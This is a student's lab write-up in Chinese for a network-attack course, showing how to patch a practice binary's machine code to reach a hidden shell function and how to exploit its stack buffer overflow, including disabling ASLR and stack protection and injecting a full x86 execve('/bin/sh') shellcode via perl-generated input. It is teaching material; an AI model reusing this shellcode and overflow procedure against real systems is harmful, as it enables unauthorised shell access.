20165218 《网络对抗技术》Exp1 逆向及Bof基础

Exp1 逆向及Bof基础

基础知识

1. NOP, JNE, JE, JMP, CMP汇编指令的机器码

指令 机器码
NOP NOP指令即“空指令”,在x86的CPU中机器码为0x90(144)。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。可以用于破解程序的call验证。
JNE 条件转移指令,如果不相等则跳转,机器码75
JE 条件转移指令,如果相等则跳转,机器码74
JMP 无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
CMP 比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果

直接修改程序机器指令,改变程序执行流程

1. 计算机器指令

  • 复制pwn1为pwn1_1,将之作为步骤一的实验文件
  • objdump -d pwn1_1 | more,反汇编pwn1_1,找到实验中要用到的main,foo,getShell三段代码20165218 《网络对抗技术》Exp1 逆向及Bof基础
    20165218 《网络对抗技术》Exp1 逆向及Bof基础

  • 注意main中第四行指令call 8048491 <foo>,即将跳转到地址8048491的指令,即为foo的第一行push %ebp
  • 若想让main中第四行跳入getShell函数,则需修改机器指令e8 d7 ff ff ff,使其指向0804847d <getShell>20165218 《网络对抗技术》Exp1 逆向及Bof基础

  • e8 d7 ff ff ffe8为跳转之意,d7 ff ff ff对应寄存器eip中值与目的地址差值,因而有ffffffd7 - ?? = 8048491-804847d,计算出??=ffffffc,所以将该行改为e8 c3 ff ff ff即可20165218 《网络对抗技术》Exp1 逆向及Bof基础

2. 修改机器指令

在vi内修改
  • 命令行vi pwn1_1打开
  • 此时是以ASCII码显示的,esc:%!xxd将之转化为16进制显示
  • /de d7查找内容,注意这里有个空格= =,不然找不到20165218 《网络对抗技术》Exp1 逆向及Bof基础

  • 修改为e8 c3 ff ff ff20165218 《网络对抗技术》Exp1 逆向及Bof基础

  • :%!xxd -r转换16进制为原格式
  • wq保存并退出
  • 修改完成20165218 《网络对抗技术》Exp1 逆向及Bof基础

利用wxHexEditor修改
  • wxHexEditor pwn1_1打开20165218 《网络对抗技术》Exp1 逆向及Bof基础

  • 工具栏 编辑->查找,输入e8c3(因为已经在vi里改过啦,这里就演示一下)20165218 《网络对抗技术》Exp1 逆向及Bof基础
    20165218 《网络对抗技术》Exp1 逆向及Bof基础

  • 找到啦,修改也很方便,直接在原处修改即可20165218 《网络对抗技术》Exp1 逆向及Bof基础


通过构造输入参数,造成BOF攻击,改变程序执行流

1. 确认覆盖返回值的字符

  • gdb pwn1_2GDB调试
  • run后,输入12345678 22345678 32345678 42345678 52345678(便于对应)
  • 观察eip寄存器的值,0x34333235即为ASCII码的5234(小端方式)20165218 《网络对抗技术》Exp1 逆向及Bof基础

  • 因此,只要将5234这个位置的字符改成getShell函数的地址,即可实现缓冲区溢出

2. 如何覆盖

  • getShell函数第一个指令的地址为0804847d,若想使之替代“5234”的部分,需要输入为
    \x7d\x84\x04\x08,再加上一个\x0a表示回车
  • 命令行输入perl -e 'print "12345678223456783234567842345678/x7d/x84/x04/x08/x0a" ' > input 生成input文件20165218 《网络对抗技术》Exp1 逆向及Bof基础

  • 将input通过管道符“|”,作为pwn1_2的输入20165218 《网络对抗技术》Exp1 逆向及Bof基础


注入Shellcode并执行

什么是Shellcode

  • shellcode是一段机器码程序,其功能是得到一个系统shell。
  • 和前面的getshell区别在于,getshell是可执行程序里已有的,只是用户不可见,而shellcode是hacker自己编写的,可以实现任何功能。

  • 攻击思路还是利用缓冲区溢出,修改返回地址,只不过返回地址不再是修改为getshell的地址,而是shellcode的地址。

准备工作

  • 关闭堆栈执行保护execstack -s pwn1
  • 关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space20165218 《网络对抗技术》Exp1 逆向及Bof基础

查找地址

  • 用第一种(坑)的方法查找地址= =
  • 命令行输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode,其中\x4\x3\x2\x1\是将覆盖到堆栈上的返回地址的位置
  • (cat input_shellcode;cat) | ./pwn1_3注入shellcode攻击
  • 打开终端2号,ps -ef | grep pwn1_3,查找pwn1_3的进程号3577220165218 《网络对抗技术》Exp1 逆向及Bof基础

  • 调试gdbattach 35772运行进程
  • disassemble foo查看foo的汇编代码,可以看到ret指令对应的地址为0x080484ae20165218 《网络对抗技术》Exp1 逆向及Bof基础

  • b *0x080484ae设置断点,在终端1回车,回到终端2,c(continue)
  • i r esp查看栈顶指针20165218 《网络对抗技术》Exp1 逆向及Bof基础

  • x/16x 0xffffd21c16进制查看内存,可以看到01020304,则0xffffd21c加4位0xffffd220即为我们要找的地址20165218 《网络对抗技术》Exp1 逆向及Bof基础

准备Shellcode

  • perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  • 将上面代码中的\x4\x3\x2\x1\换成\x20\xd2\xff\xff即可
  • 注入攻击20165218 《网络对抗技术》Exp1 逆向及Bof基础

实验感受

  • 堆栈结构好复杂!因为还是小端模式,高地址低地址拐来拐去已经晕了
  • 第一次做shellcode时候毅然跳进了老师挖的坑里,后来找了学长学姐们的博客、还有同学的博客,最后才在江智宇学姐的博客里发现要用NSR模式注入,但要用RSN模式查找地址。(所以不知道很多人上来就用 \x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00查找地址是怎么做到的啊!枯了)
  • 漏洞是什么,有什么危害?漏洞是计算机应用软件或操作系统在逻辑设计上的缺陷或编写时产生的错误,这个缺陷或错误可以被不法者或者电脑黑客利用,通过植入木马、病毒等方式攻击或控制整个电脑,从而窃取电脑中的重要资料和信息,甚至破坏整个系统

遇到问题

问题:安装wxhexeditor时,出现了20165218 《网络对抗技术》Exp1 逆向及Bof基础

解决:20165218 《网络对抗技术》Exp1 逆向及Bof基础


参考资料

上一篇:Python 多线程、多进程 (二)之 多线程、同步、通信


下一篇:C#使用SocketAsyncEventArgs操作套接字的简单异步通讯